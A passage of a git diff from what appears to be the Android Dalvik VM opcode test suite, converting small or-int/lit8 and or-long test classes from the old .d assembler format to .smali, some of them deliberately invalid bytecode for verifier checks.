+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_3.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v7, -1
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4.d
deleted file mode 100644
index 6e07519..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_4.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 8
-
-       or-int/lit8 v0, v7, 15
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4.smali
new file mode 100644
index 0000000..e3b3ad6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_4.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 8
+
+       or-int/lit8 v0, v7, 15
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5.d
deleted file mode 100644
index c765b57..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_5.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit8 v0, v7, 127
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5.smali
new file mode 100644
index 0000000..649f9d6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_5.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v7, 127
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6.d
deleted file mode 100644
index 3a70209..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_6.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit8 v0, v8, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6.smali
new file mode 100644
index 0000000..7d29856
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_6.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v8, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7.d
deleted file mode 100644
index 8040a0e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_7.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(D)I
-.limit regs 8
-
-       or-int/lit8 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7.smali
new file mode 100644
index 0000000..83af7dd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_7.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(D)I
+.registers 8
+
+       or-int/lit8 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8.d
deleted file mode 100644
index e0b4801..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_8.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(J)I
-.limit regs 8
-
-       or-int/lit8 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8.smali
new file mode 100644
index 0000000..d3c52ea
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_8.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(J)I
+.registers 8
+
+       or-int/lit8 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9.d
deleted file mode 100644
index 7e44fec..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_int_lit8_9.java
-.class public dot.junit.opcodes.or_int_lit8.d.T_or_int_lit8_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)I
-.limit regs 8
-
-       or-int/lit8 v0, v6, 10
-       return v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9.smali
new file mode 100644
index 0000000..8eacb64
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_int_lit8_9.java"
+.class  public Ldot/junit/opcodes/or_int_lit8/d/T_or_int_lit8_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)I
+.registers 8
+
+       or-int/lit8 v0, v6, 10
+       return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_1.d
deleted file mode 100644
index 6bc5ef8..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_1.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_1.java
-.class public dot.junit.opcodes.or_long.d.T_or_long_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       or-long v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_1.smali
new file mode 100644
index 0000000..c3b7055
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_1.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_1.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_2.d
deleted file mode 100644
index b33694e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_2.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_2.java
-.class public dot.junit.opcodes.or_long.d.T_or_long_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       or-long v0, v10, v14
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_2.smali
new file mode 100644
index 0000000..1ce7398
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_2.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_2.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long v0, v10, v14
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_3.d
deleted file mode 100644
index f85ee63..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_3.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_3.java
-.class public dot.junit.opcodes.or_long.d.T_or_long_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JD)J
-.limit regs 14
-
-       or-long v0, v10, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_3.smali
new file mode 100644
index 0000000..cdbb766
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_3.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_3.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JD)J
+.registers 14
+
+       or-long v0, v10, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_4.d
deleted file mode 100644
index 89337b0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_4.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_4.java
-.class public dot.junit.opcodes.or_long.d.T_or_long_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IJ)J
-.limit regs 14
-
-       or-long v0, v11, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_4.smali
new file mode 100644
index 0000000..9b72cfb
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_4.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_4.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IJ)J
+.registers 14
+
+       or-long v0, v11, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_5.d
deleted file mode 100644
index 91fbc4d..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_5.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_5.java
-.class public dot.junit.opcodes.or_long.d.T_or_long_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(FJ)J
-.limit regs 14
-
-       or-long v0, v11, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_5.smali
new file mode 100644
index 0000000..314f304
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_5.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_5.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(FJ)J
+.registers 14
+
+       or-long v0, v11, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_6.d
deleted file mode 100644
index ee5c07a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_6.d
+++ /dev/null
@@ -1,32 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_or_long_6.java
-.class public dot.junit.opcodes.or_long.d.T_or_long_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(JJ)J
-.limit regs 14
-
-       or-long v0, v9, v12
-       return-wide v0
-.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_6.smali
new file mode 100644
index 0000000..273ec7e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long/d/T_or_long_6.smali
@@ -0,0 +1,32 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_or_long_6.java"
+.class  public Ldot/junit/opcodes/or_long/d/T_or_long_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(JJ)J
+.registers 14
+
+       or-long v0, v9, v12
+       return-wide v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/or_long_2addr/d/T_or_long_2addr_1.d
deleted file mode 100644
